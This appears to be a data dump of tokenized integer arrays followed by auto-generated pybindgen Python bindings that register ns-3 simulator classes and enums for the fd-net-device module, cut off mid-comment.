2073, 63, 3422, 14, 362, 63, 515, 63, 475, 63, 31423, 11008, 2759, 63, 1679, 63, 1483, 14, 1152, 2237, 199, 199, 1483, 14, 1763, 16384, 30906, 461, 480, 7738, 5761, 77, 6864, 26925, 83, 531, 421, 199, 318, 3372, 63, 1679, 63, 3271, 8, 1210, 63, 3128, 12, 2151, 1748, 63, 2759, 83, 29, 17, 12, 2151, 1390, 63, 2759, 83, 29, 21, 12, 2151, 1343, 29, 16, 12, 2151, 2304, 4022, 17, 12, 2151, 8689, 63, 277, 63, 305, 63, 1375, 29, 797, 12, 2151, 11181, 63, 5646, 63, 1224, 29, 403, 12, 2151, 11181, 63, 827, 63, 835, 29, 403, 12, 2151, 11181, 63, 954, 17376, 29, 403, 12, 2151, 16831, 63, 890, 29, 403, 12, 2151, 3522, 63, 890, 29, 403, 12, 2151, 3522, 63, 10457, 29, 403, 12, 2151, 6347, 29, 403, 12, 2151, 536, 29, 403, 304, 523, 408, 20551, 3372, 13, 1679, 1526, 436, 1768, 30177, 28373, 687, 314, 1324, 2345, 14, 819, 21687, 3372, 13, 1679, 658, 480, 1418, 401, 298, 1302, 531, 64, 6342, 1808, 1924, 1819, 315, 314, 523, 6915, 13, 17, 658, 1210, 63, 3128, 64, 465, 282, 1526, 14, 710, 4353, 1568, 1202, 367, 1924, 1526, 911, 506, 523, 19311, 4895, 687, 314, 1425, 2013, 701, 14505, 827, 63, 2759, 83, 12, 1390, 63, 2759, 83, 61, 3559, 523, 20728, 14, 1666, 4178, 921, 27290, 14, 1308, 15, 2101, 15, 10067, 14, 1401, 2835, 367, 1655, 2436, 3595, 523, 3372, 13, 1679, 14, 819, 2104, 2893, 12, 1627, 658, 1210, 63, 3128, 275, 2097, 1589, 401, 298, 13239, 401, 298, 27133, 401, 298, 9849, 401, 298, 11126, 83, 937, 3559, 523, 658, 827, 63, 2759, 83, 275, 413, 3559, 658, 988, 63, 2759, 83, 275, 499, 3559, 658, 8159, 63, 277, 63, 305, 63, 1375, 275, 756, 3559, 314, 1072, 523, 16918, 4504, 12, 3628, 12544, 6342, 367, 314, 1526, 298, 13239, 2, 911, 506, 19311, 4895, 687, 523, 1902, 16918, 4504, 6270, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 298, 27133, 3135, 64, 367, 413, 3372, 12, 503, 523, 16918, 4504, 6270, 13239, 401, 298, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 298, 27133, 401, 298, 9849, 3135, 64, 367, 499, 523, 30505, 14, 819, 982, 658, 8159, 63, 277, 63, 305, 63, 1375, 275, 715, 3559, 1924, 1526, 911, 2597, 506, 19515, 465, 282, 1768, 523, 367, 6337, 14, 11606, 314, 4136, 2893, 12, 314, 1072, 911, 506, 1902, 523, 16918, 4504, 6270, 13239, 401, 298, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 298, 13239, 401, 298, 27133, 3135, 64, 367, 413, 523, 3372, 12, 503, 16918, 4504, 6270, 13239, 401, 298, 13239, 401, 298, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 523, 298, 13239, 401, 298, 27133, 401, 298, 9849, 3135, 64, 367, 499, 30505, 14, 819, 710, 2011, 2112, 365, 10877, 367, 1924, 1819, 402, 658, 1210, 63, 3128, 64, 436, 523, 26271, 10451, 1901, 314, 2877, 1072, 6915, 13, 17, 658, 29212, 64, 334, 368, 367, 1006, 314, 523, 4645, 12, 4573, 367, 1006, 314, 3628, 680, 819, 982, 658, 9953, 63, 5646, 63, 1224, 64, 365, 2013, 12, 4645, 315, 658, 1210, 63, 3128, 64, 626, 787, 440, 523, 3451, 315, 314, 17515, 787, 22002, 14, 8767, 83, 7447, 9857, 8242, 787, 523, 5084, 658, 9953, 63, 827, 63, 835, 64, 787, 2597, 22002, 14, 8767, 83, 7447, 9857, 5931, 18434, 523, 315, 314, 16831, 24068, 658, 9953, 63, 954, 17376, 64, 1443, 506, 19311, 3224, 13, 25042, 14, 1666, 523, 21779, 14, 959, 315, 1455, 921, 27290, 14, 1308, 15, 2101, 15, 969, 709, 14, 12383, 22, 367, 1655, 2436, 3595, 1007, 17376, 14, 819, 25855, 370, 314, 2196, 4353, 10627, 1202, 367, 1924, 1526, 12, 314, 17464, 402, 314, 4704, 523, 787, 2222, 13, 30709, 12, 7444, 658, 2912, 63, 890, 64, 365, 2013, 370, 3522, 314, 4704, 523, 370, 3544, 372, 658, 29212, 64, 402, 2582, 658, 2912, 63, 890, 2313, 819, 3033, 26, 272, 1324, 63, 3128, 26, 437, 6915, 13, 17, 658, 3861, 64, 687, 1314, 370, 3550, 3372 ]
[ 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 7738, 13, 1679, 15877, 4156, 687, 4178, 921, 27290, 14, 1308, 15, 2101, 15, 10067, 14, 1401, 2835, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 7392, 199, 199, 504, 3228, 14, 2828, 492, 4237, 199, 504, 3228, 14, 2828, 14, 505, 14, 1548, 14, 1483, 492, 3805, 63, 2759, 63, 1679, 63, 1483, 199, 504, 3228, 14, 2828, 14, 1974, 492, 5077, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2196, 63, 5176, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 26532, 199, 504, 3228, 14, 1548, 14, 3246, 492, 2073, 63, 3422, 199, 504, 3228, 14, 1548, 14, 7588, 492, 1324, 465, 1324, 63, 1483, 199, 199, 63, 10109, 63, 1483, 63, 1152, 275, 5077, 14, 912, 63, 411, 63, 4342, 8, 272, 2073, 63, 3422, 14, 362, 63, 515, 63, 475, 63, 31423, 11008, 2759, 63, 1679, 63, 1483, 14, 1152, 2237, 199, 199, 1483, 14, 1763, 16384, 30906, 461, 480, 7738, 5761, 77, 6864, 26925, 83, 531, 421, 199, 318, 3372, 63, 1679, 63, 3271, 8, 1210, 63, 3128, 12, 2151, 1748, 63, 2759, 83, 29, 17, 12, 2151, 1390, 63, 2759, 83, 29, 21, 12, 2151, 1343, 29, 16, 12, 2151, 2304, 4022, 17, 12, 2151, 8689, 63, 277, 63, 305, 63, 1375, 29, 797, 12, 2151, 11181, 63, 5646, 63, 1224, 29, 403, 12, 2151, 11181, 63, 827, 63, 835, 29, 403, 12, 2151, 11181, 63, 954, 17376, 29, 403, 12, 2151, 16831, 63, 890, 29, 403, 12, 2151, 3522, 63, 890, 29, 403, 12, 2151, 3522, 63, 10457, 29, 403, 12, 2151, 6347, 29, 403, 12, 2151, 536, 29, 403, 304, 523, 408, 20551, 3372, 13, 1679, 1526, 436, 1768, 30177, 28373, 687, 314, 1324, 2345, 14, 819, 21687, 3372, 13, 1679, 658, 480, 1418, 401, 298, 1302, 531, 64, 6342, 1808, 1924, 1819, 315, 314, 523, 6915, 13, 17, 658, 1210, 63, 3128, 64, 465, 282, 1526, 14, 710, 4353, 1568, 1202, 367, 1924, 1526, 911, 506, 523, 19311, 4895, 687, 314, 1425, 2013, 701, 14505, 827, 63, 2759, 83, 12, 1390, 63, 2759, 83, 61, 3559, 523, 20728, 14, 1666, 4178, 921, 27290, 14, 1308, 15, 2101, 15, 10067, 14, 1401, 2835, 367, 1655, 2436, 3595, 523, 3372, 13, 1679, 14, 819, 2104, 2893, 12, 1627, 658, 1210, 63, 3128, 275, 2097, 1589, 401, 298, 13239, 401, 298, 27133, 401, 298, 9849, 401, 298, 11126, 83, 937, 3559, 523, 658, 827, 63, 2759, 83, 275, 413, 3559, 658, 988, 63, 2759, 83, 275, 499, 3559, 658, 8159, 63, 277, 63, 305, 63, 1375, 275, 756, 3559, 314, 1072, 523, 16918, 4504, 12, 3628, 12544, 6342, 367, 314, 1526, 298, 13239, 2, 911, 506, 19311, 4895, 687, 523, 1902, 16918, 4504, 6270, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 298, 27133, 3135, 64, 367, 413, 3372, 12, 503, 523, 16918, 4504, 6270, 13239, 401, 298, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 298, 27133, 401, 298, 9849, 3135, 64, 367, 499, 523, 30505, 14, 819, 982, 658, 8159, 63, 277, 63, 305, 63, 1375, 275, 715, 3559, 1924, 1526, 911, 2597, 506, 19515, 465, 282, 1768, 523, 367, 6337, 14, 11606, 314, 4136, 2893, 12, 314, 1072, 911, 506, 1902, 523, 16918, 4504, 6270, 13239, 401, 298, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 298, 13239, 401, 298, 27133, 3135, 64, 367, 413, 523, 3372, 12, 503, 16918, 4504, 6270, 13239, 401, 298, 13239, 401, 298, 13239, 401, 298, 13239, 2255, 3628, 6270, 1589, 401, 523, 298, 13239, 401, 298, 27133, 401, 298, 9849, 3135, 64, 367, 499, 30505, 14, 819, 710, 2011, 2112, 365, 10877, 367, 1924, 1819, 402, 658, 1210, 63, 3128, 64, 436, 523, 26271, 10451, 1901, 314, 2877, 1072, 6915, 13, 17, 658, 29212, 64, 334, 368, 367, 1006, 314, 523, 4645, 12, 4573, 367, 1006, 314, 3628, 680, 819, 982, 658, 9953, 63, 5646, 63, 1224, 64, 365, 2013, 12, 4645, 315, 658, 1210, 63, 3128, 64, 626, 787, 440, 523, 3451, 315, 314, 17515, 787, 22002, 14, 8767, 83, 7447, 9857, 8242, 787, 523, 5084, 658, 9953, 63, 827, 63, 835, 64, 787, 2597, 22002, 14, 8767, 83, 7447, 9857, 5931, 18434, 523, 315, 314, 16831, 24068, 658, 9953, 63, 954, 17376, 64, 1443, 506, 19311, 3224, 13, 25042, 14, 1666, 523, 21779, 14, 959, 315, 1455, 921, 27290, 14, 1308, 15, 2101, 15, 969, 709, 14, 12383, 22, 367, 1655, 2436, 3595, 1007, 17376, 14, 819, 25855, 370, 314, 2196, 4353, 10627, 1202, 367, 1924, 1526, 12, 314, 17464, 402, 314, 4704, 523, 787, 2222, 13, 30709, 12, 7444, 658, 2912, 63, 890, 64, 365, 2013, 370, 3522, 314, 4704, 523, 370, 3544, 372, 658, 29212, 64, 402, 2582, 658, 2912, 63, 890, 2313, 819, 3033, 26, 272, 1324, 63, 3128, 26, 437, 6915, 13, 17, 658, 3861, 64, 687, 1314, 370, 3550, 3372, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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from pybindgen import Module, FileCodeSink, param, retval, cppclass, typehandlers import pybindgen.settings import warnings class ErrorHandler(pybindgen.settings.ErrorHandler): def handle_error(self, wrapper, exception, traceback_): warnings.warn("exception %r in wrapper %s" % (exception, wrapper)) return True pybindgen.settings.error_handler = ErrorHandler() import sys def module_init(): root_module = Module('ns.fd_net_device', cpp_namespace='::ns3') return root_module def register_types(module): root_module = module.get_root() ## address.h (module 'network'): ns3::Address [class] module.add_class('Address', import_from_module='ns.network') ## address.h (module 'network'): ns3::Address::MaxSize_e [enumeration] module.add_enum('MaxSize_e', ['MAX_SIZE'], outer_class=root_module['ns3::Address'], import_from_module='ns.network') ## trace-helper.h (module 'network'): ns3::AsciiTraceHelper [class] module.add_class('AsciiTraceHelper', import_from_module='ns.network') ## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice [class] module.add_class('AsciiTraceHelperForDevice', allow_subclassing=True, import_from_module='ns.network') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList [class] module.add_class('AttributeConstructionList', import_from_module='ns.core') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item [struct] module.add_class('Item', import_from_module='ns.core', outer_class=root_module['ns3::AttributeConstructionList']) ## buffer.h (module 'network'): ns3::Buffer [class] module.add_class('Buffer', import_from_module='ns.network') ## buffer.h (module 'network'): ns3::Buffer::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::Buffer']) ## packet.h (module 'network'): ns3::ByteTagIterator [class] module.add_class('ByteTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::ByteTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagIterator']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList [class] module.add_class('ByteTagList', import_from_module='ns.network') ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList::Iterator']) ## callback.h (module 'core'): ns3::CallbackBase [class] module.add_class('CallbackBase', import_from_module='ns.core') ## system-mutex.h (module 'core'): ns3::CriticalSection [class] module.add_class('CriticalSection', import_from_module='ns.core') ## data-rate.h (module 'network'): ns3::DataRate [class] module.add_class('DataRate', import_from_module='ns.network') ## event-id.h (module 'core'): ns3::EventId [class] module.add_class('EventId', import_from_module='ns.core') ## hash.h (module 'core'): ns3::Hasher [class] module.add_class('Hasher', import_from_module='ns.core') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] module.add_class('Ipv4Address', import_from_module='ns.network') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] root_module['ns3::Ipv4Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask [class] module.add_class('Ipv4Mask', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] module.add_class('Ipv6Address', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] root_module['ns3::Ipv6Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix [class] module.add_class('Ipv6Prefix', import_from_module='ns.network') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] module.add_class('Mac48Address', import_from_module='ns.network') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] root_module['ns3::Mac48Address'].implicitly_converts_to(root_module['ns3::Address']) ## net-device-container.h (module 'network'): ns3::NetDeviceContainer [class] module.add_class('NetDeviceContainer', import_from_module='ns.network') ## node-container.h (module 'network'): ns3::NodeContainer [class] module.add_class('NodeContainer', import_from_module='ns.network') ## object-base.h (module 'core'): ns3::ObjectBase [class] module.add_class('ObjectBase', allow_subclassing=True, import_from_module='ns.core') ## object.h (module 'core'): ns3::ObjectDeleter [struct] module.add_class('ObjectDeleter', import_from_module='ns.core') ## object-factory.h (module 'core'): ns3::ObjectFactory [class] module.add_class('ObjectFactory', import_from_module='ns.core') ## packet-metadata.h (module 'network'): ns3::PacketMetadata [class] module.add_class('PacketMetadata', import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [enumeration] module.add_enum('', ['PAYLOAD', 'HEADER', 'TRAILER'], outer_class=root_module['ns3::PacketMetadata::Item'], import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator [class] module.add_class('ItemIterator', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet.h (module 'network'): ns3::PacketTagIterator [class] module.add_class('PacketTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::PacketTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagIterator']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList [class] module.add_class('PacketTagList', import_from_module='ns.network') ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData [struct] module.add_class('TagData', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagList']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData_e [enumeration] module.add_enum('TagData_e', ['MAX_SIZE'], outer_class=root_module['ns3::PacketTagList::TagData'], import_from_module='ns.network') ## pcap-file.h (module 'network'): ns3::PcapFile [class] module.add_class('PcapFile', import_from_module='ns.network') ## trace-helper.h (module 'network'): ns3::PcapHelper [class] module.add_class('PcapHelper', import_from_module='ns.network') ## trace-helper.h (module 'network'): ns3::PcapHelper [enumeration] module.add_enum('', ['DLT_NULL', 'DLT_EN10MB', 'DLT_PPP', 'DLT_RAW', 'DLT_IEEE802_11', 'DLT_PRISM_HEADER', 'DLT_IEEE802_11_RADIO', 'DLT_IEEE802_15_4'], outer_class=root_module['ns3::PcapHelper'], import_from_module='ns.network') ## trace-helper.h (module 'network'): ns3::PcapHelperForDevice [class] module.add_class('PcapHelperForDevice', allow_subclassing=True, import_from_module='ns.network') ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Object', 'ns3::ObjectBase', 'ns3::ObjectDeleter'], parent=root_module['ns3::ObjectBase'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simulator.h (module 'core'): ns3::Simulator [class] module.add_class('Simulator', destructor_visibility='private', import_from_module='ns.core') ## system-condition.h (module 'core'): ns3::SystemCondition [class] module.add_class('SystemCondition', import_from_module='ns.core') ## system-mutex.h (module 'core'): ns3::SystemMutex [class] module.add_class('SystemMutex', import_from_module='ns.core') ## tag.h (module 'network'): ns3::Tag [class] module.add_class('Tag', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## tag-buffer.h (module 'network'): ns3::TagBuffer [class] module.add_class('TagBuffer', import_from_module='ns.network') ## nstime.h (module 'core'): ns3::TimeWithUnit [class] module.add_class('TimeWithUnit', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId [class] module.add_class('TypeId', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeFlag [enumeration] module.add_enum('AttributeFlag', ['ATTR_GET', 'ATTR_SET', 'ATTR_CONSTRUCT', 'ATTR_SGC'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation [struct] module.add_class('AttributeInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation [struct] module.add_class('TraceSourceInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## empty.h (module 'core'): ns3::empty [class] module.add_class('empty', import_from_module='ns.core') ## int64x64-double.h (module 'core'): ns3::int64x64_t [class] module.add_class('int64x64_t', import_from_module='ns.core') ## int64x64-double.h (module 'core'): ns3::int64x64_t::impl_type [enumeration] module.add_enum('impl_type', ['int128_impl', 'cairo_impl', 'ld_impl'], outer_class=root_module['ns3::int64x64_t'], import_from_module='ns.core') ## chunk.h (module 'network'): ns3::Chunk [class] module.add_class('Chunk', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## fd-net-device-helper.h (module 'fd-net-device'): ns3::FdNetDeviceHelper [class] module.add_class('FdNetDeviceHelper', parent=[root_module['ns3::PcapHelperForDevice'], root_module['ns3::AsciiTraceHelperForDevice']]) ## header.h (module 'network'): ns3::Header [class] module.add_class('Header', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## object.h (module 'core'): ns3::Object [class] module.add_class('Object', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) ## object.h (module 'core'): ns3::Object::AggregateIterator [class] module.add_class('AggregateIterator', import_from_module='ns.core', outer_class=root_module['ns3::Object']) ## pcap-file-wrapper.h (module 'network'): ns3::PcapFileWrapper [class] module.add_class('PcapFileWrapper', import_from_module='ns.network', parent=root_module['ns3::Object']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeChecker', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeChecker>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeValue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeValue>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::CallbackImplBase', 'ns3::empty', 'ns3::DefaultDeleter<ns3::CallbackImplBase>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::EventImpl', 'ns3::empty', 'ns3::DefaultDeleter<ns3::EventImpl>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::FdReader, ns3::empty, ns3::DefaultDeleter<ns3::FdReader> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::FdReader', 'ns3::empty', 'ns3::DefaultDeleter<ns3::FdReader>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Hash::Implementation', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Hash::Implementation>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::NixVector', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NixVector>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::OutputStreamWrapper', 'ns3::empty', 'ns3::DefaultDeleter<ns3::OutputStreamWrapper>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Packet', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Packet>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::SystemThread, ns3::empty, ns3::DefaultDeleter<ns3::SystemThread> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::SystemThread', 'ns3::empty', 'ns3::DefaultDeleter<ns3::SystemThread>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::TraceSourceAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::TraceSourceAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## system-thread.h (module 'core'): ns3::SystemThread [class] module.add_class('SystemThread', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::SystemThread, ns3::empty, ns3::DefaultDeleter<ns3::SystemThread> >']) ## nstime.h (module 'core'): ns3::Time [class] module.add_class('Time', import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time::Unit [enumeration] module.add_enum('Unit', ['Y', 'D', 'H', 'MIN', 'S', 'MS', 'US', 'NS', 'PS', 'FS', 'LAST'], outer_class=root_module['ns3::Time'], import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time [class] root_module['ns3::Time'].implicitly_converts_to(root_module['ns3::int64x64_t']) ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor [class] module.add_class('TraceSourceAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) ## trailer.h (module 'network'): ns3::Trailer [class] module.add_class('Trailer', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## attribute.h (module 'core'): ns3::AttributeAccessor [class] module.add_class('AttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) ## attribute.h (module 'core'): ns3::AttributeChecker [class] module.add_class('AttributeChecker', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) ## attribute.h (module 'core'): ns3::AttributeValue [class] module.add_class('AttributeValue', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) ## callback.h (module 'core'): ns3::CallbackChecker [class] module.add_class('CallbackChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## callback.h (module 'core'): ns3::CallbackImplBase [class] module.add_class('CallbackImplBase', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) ## callback.h (module 'core'): ns3::CallbackValue [class] module.add_class('CallbackValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## data-rate.h (module 'network'): ns3::DataRateChecker [class] module.add_class('DataRateChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## data-rate.h (module 'network'): ns3::DataRateValue [class] module.add_class('DataRateValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## attribute.h (module 